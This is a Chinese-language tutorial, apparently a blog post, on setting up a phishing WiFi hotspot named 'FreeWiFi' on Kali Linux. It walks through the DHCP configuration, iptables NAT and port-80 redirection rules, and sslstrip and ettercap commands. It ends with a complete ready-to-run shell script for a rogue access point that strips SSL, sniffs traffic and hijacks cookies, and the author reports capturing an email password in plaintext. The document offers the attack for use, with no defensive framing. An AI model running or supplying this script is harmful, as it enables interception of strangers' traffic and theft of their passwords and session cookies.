釣魚WIFI搭建

 

一、無線網卡

二、KaliLinux操做系統，這裏就不用說了，必備的

三、isc-dhcp-server服務器。安裝好KaliLinux後只須要apt-get update 而後apt-get install isc-dhcp-server便可

四、Aircrack-ng套件   #用來發送數據

五、sslstrip       用來突破SSL加密

六、ettercap     用來嗅探劫持

 

後面三個軟件KaliLinux都自帶有，不用安裝便可。

首先強調下，後面的bash腳本適用於使用isc-dhcp-server這個bash腳本，創建釣魚熱點。

 

安裝dhcp服務

apt-get install isc-dhcp-server

配置文件分別在/etc/default/isc-dhcp-server和/etc/dhcp/dhcpd.conf，前者能夠配置監聽端口，這裏以wlan0爲例

配置dhcp文件後，斷開wlan0的網絡，分配一個ip

ifconfig wlan0 192.168.1.2/24

 

啓動dhcp服務

/etc/init.d/isc-dhcp-server start 或者

service isc-dhcp-server start

 

創建熱點：

將下文寫好的airssl.sh添加執行權限

bash airssl.sh

而後分別是AP創建，DHCP創建，sslstrip開啓，ettercap開啓。

這裏再介紹一種方法，是使用 airbase-ng + dhcpd 建立虛擬WiFi熱點；順便使用 sslstrip+ettercap 進行中間人攻擊，嗅探使用者的上網信息和劫持cookie！

所須要的軟件以下；kali-linux都已經自帶了，其餘的系統能夠自行安裝：
Aircrack-ng 套件    #用來發送數據
isc-dhcp-server    #簡單的dhcp服務器
sslstrip       #突破ssl加密
ettercap      #嗅探劫持

leaf /etc/dhcp/dhcpd.conf   編輯dhcp服務器配置文件，修改以下：

authoritative;

default-lease-time 700;
max-lease-time 8000;

subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;

option domain-name "FreeWiFi";
option domain-name-servers 10.0.0.1;

range 10.0.0.10 10.0.0.100;

}

而後激活網卡至監聽模式：
airmon-ng start wlan0
airbase-ng -e FreeWiFi -c 6 mon0
此時虛擬wifi的信號已經發送出去了，若是出現錯誤：
Error: Got channel -1, expected a value > 0.
執行以下命令：

airmon-ng stop mon0

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

而後從激活網卡至監聽模式那裏從新開始。
接着執行以下命令：

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start

虛擬WiFir熱點建立成功，接下來就是嗅探欺騙釣魚了：

sslstrip -fpk 10000
ettercap -Tpuqi at0

而後就等着魚兒上鉤吧！

手機上測試了下，網易郵箱直接明文密碼：

 
百度使用了加密：

 

 寫了一個腳本，修改爲本身的設置每次執行就ok了：
複製下面代碼，保存爲 「Fake_a_ap.sh」，而後 chmod +x Fake_a_ap.sh && ./Fake_a_ap.sh 

#!/bin/sh

echo "即將建立WiFi熱點，請確保dhcpd.conf已經配置好！" &
sleep 5

ifconfig wlan0 down #wlan0修改爲你的網卡
iwconfig wlan0 mode monitor
ifconfig wlan0 up

airmon-ng start wlan0 &
sleep 5
airbase-ng -e FreeWiFi -c 6 mon0 & #修改爲本身的熱點名稱和信道
sleep 5

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush && iptables --table nat --flush && iptables --table nat --flush && iptables --table nat --delete-chain &

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
/etc/init.d/isc-dhcp-server start &
sleep 5
sslstrip -fpk 10000 &
ettercap -puTqi at0

作這個最重要的仍是寫shell腳本

 

後面的腳本若是都能本身寫出來，纔是真正的大神。本人菜鳥，歡迎各位大神狂噴
